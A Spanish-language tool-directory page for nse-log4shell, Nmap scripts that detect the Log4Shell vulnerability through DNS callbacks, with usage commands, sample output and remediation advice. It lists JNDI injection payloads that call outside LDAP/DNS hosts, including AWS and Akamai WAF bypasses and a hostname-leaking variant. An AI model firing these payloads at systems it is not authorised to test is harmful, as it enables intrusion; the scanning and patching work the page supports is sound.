Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/diverto/nse-log4shell
Escáneres de VulnerabilidadesExplotaciónSeguridad WebSeguridad de RedesPruebas de PenetraciónAnálisis de DNSArchived
GitHubdiverto/nse-log4shell

nse-log4shell

Scripts NSE de Nmap para verificar contra vulnerabilidades log4shell o LogJam (CVE-2021-44228)

Ver Repositorio
3524723hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

nse-log4shell

Scripts NSE de Nmap para comprobar vulnerabilidades log4shell o LogJam (CVE-2021-44228). Los scripts NSE verifican los servicios expuestos más populares en Internet. Es un script básico donde puedes personalizar el payload.

Ejemplos

Ten en cuenta que los scripts NSE solo emitirán las solicitudes a los servicios. Nmap no reportará hosts vulnerables, sino que debes verificar los registros DNS para determinar la vulnerabilidad. Si no especificas el payload manualmente, los scripts NSE usarán dnslog.cn por defecto. Esto significa que las solicitudes serán vistas por dnslog.cn.

Rápido con ayuda de dnslog.cn

Sitúate en el directorio donde se encuentran estos scripts y ejecuta los siguientes comandos (Nmap obtendrá dnslog.cn automáticamente).

En Linux:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

En Windows:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

Payloads a considerar

nuevo bypass de parche en v2.15.0 (CVE-2021-45046), gracias a @marcioalm (tweet):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

Bypass de AWS (gracias a @11xuxx - tweet):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Bypass de Akamai (gracias a @ozgur_bbh - tweet):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

Configuración manual

Ejemplo en Windows (Gracias a @ZedFuzz) - observa cómo escapar las comillas:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

Con ayuda de logdns (servidor DNS de registro personalizado)

Ve a http://github.com/kost/logdns y obtén el servidor DNS. Consigue un dominio y apunta a algún lugar donde tengas instalado logdns:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con ayuda de dnslog.cn

Ve a http://dnslog.cn/ y obtén un SubDominio. Reemplaza tu xxxx con tu SubDominio:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con ayuda de burpcollaborator

Toma tu dominio de Burp collaborator y reemplaza xxxx con tu dominio:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con ayuda de CanaryToken (https://canarytokens.org/generate#)

Toma tu Token de CanaryToken y reemplaza xxxx con tu dominio:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

Gracias a @saintz666

Forma recomendada

dnslog.cn tiene sesiones cortas (aproximadamente media hora). Debería haber una forma de prolongar la sesión durante el tiempo que dure el escaneo. Además, a veces la consulta DNS ocurre mucho después de recibida la solicitud. Alguien reportó haber recibido la solicitud DNS horas después de realizada la solicitud. Como solución alternativa, los scripts NSE de nmap recuperan la sesión después de escanear cada host.

Por lo tanto, actualmente, para la mejor garantía es usar un dominio DNS personalizado con una herramienta como logdns: https://github.com/kost/logdns

Salida de ejemplo

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

Solución/Correcciones

Lista de las mejores correcciones y soluciones alternativas.

Mejor corrección

La mejor solución para protegerse de CVE-2021-44228: actualizar a log4j-2.16.0 o posterior.

Ten en cuenta que log4j-2.15.0-rc1 ya no se recomienda desde que se encontraron nuevas vulnerabilidades. Por lo tanto, debes actualizar a log4j-2.16.0 o posterior (gracias @ruppde).

Además, ten en cuenta que otras recomendaciones como establecer log4j2.formatMsgNoLookups a true deben evitarse.

Mejor identificación

Es mejor identificar la vulnerabilidad log4shell examinando el sistema de archivos local en busca de artefactos log4j.

Estos scripts NSE deben usarse solo como garantía adicional. Los NSE ayudan a identificar servicios vulnerables, no la aplicación vulnerable. Puede identificar la aplicación vulnerable si registra cada solicitud (incluyendo root /), no si la vulnerabilidad está oculta detrás de algún inicio de sesión. Necesitarás un escáner web que recorra toda la web para eso.

Puedes verificar una URI específica con el siguiente ejemplo: http-log4shell.url=/my/application/uri

Verificará a través de encabezados HTTP y cookies. Si necesitas verificar formularios post/get, deberías revisar http-spider-log4shell. Aún así, es mejor usar un escáner web con soporte para log4j.

También ten en cuenta que la resolución DNS con combinación de prefijos en una expresión para log4j-core <= 2.7 parece no ser compatible. Por lo tanto, probar con algo como ${java:os} podría llevar a falsos negativos. Por eso, es mejor tener algunos falsos positivos que negativos.

Referencias

Referencias generales y enlaces a la vulnerabilidad

General

Hilo de Reddit - Información general sobre log4shell

NCC log4shell - información operativa sobre la vulnerabilidad (IOCs, mitigación, escaneo, software)

Relacionados

Hoja de referencia BlueTeam Log4Shell - Avisos de seguridad / Boletines vinculados a Log4Shell (CVE-2021-44228)

Lista de software - guía de referencia rápida - Lista de software afectado según respuestas de proveedores

Pruebas

Ten en cuenta que las comprobaciones remotas y en línea son útiles como garantía adicional o prueba rápida. Para mayor garantía, se recomienda escanear archivos localmente en busca de firmas conocidas de log4j.

lo4shell.huntress.com - Probador en línea de vulnerabilidad Log4Shell

log4j yara - reglas yara para detección local

identify-log4j-class-location.sh - Script para identificar la clase afectada de Log4J para CVE-2021-44228 en una colección de archivos ear/war/jar

Explotación

PoC-log4j-bypass-words - Un truco para evadir parches que bloquean palabras

Detección de explotación

log4shell-detector - Detector de intentos de explotación de Log4Shell

Log4Shell-IOCs - una lista de fuentes de IOC e informes de amenazas

log4j_rce_detection.md - Puedes usar estos comandos y reglas para buscar intentos de explotación

Mitigación/Corrección

Aviso de log4j - Vulnerabilidades de seguridad de Apache Log4j

Solicitud de extracción de log4j y comentarios - solicitud de extracción que corrige el error con comentarios

Logout4Shell - Alternativa rápida y sucia al parcheo manual

Descargar herramienta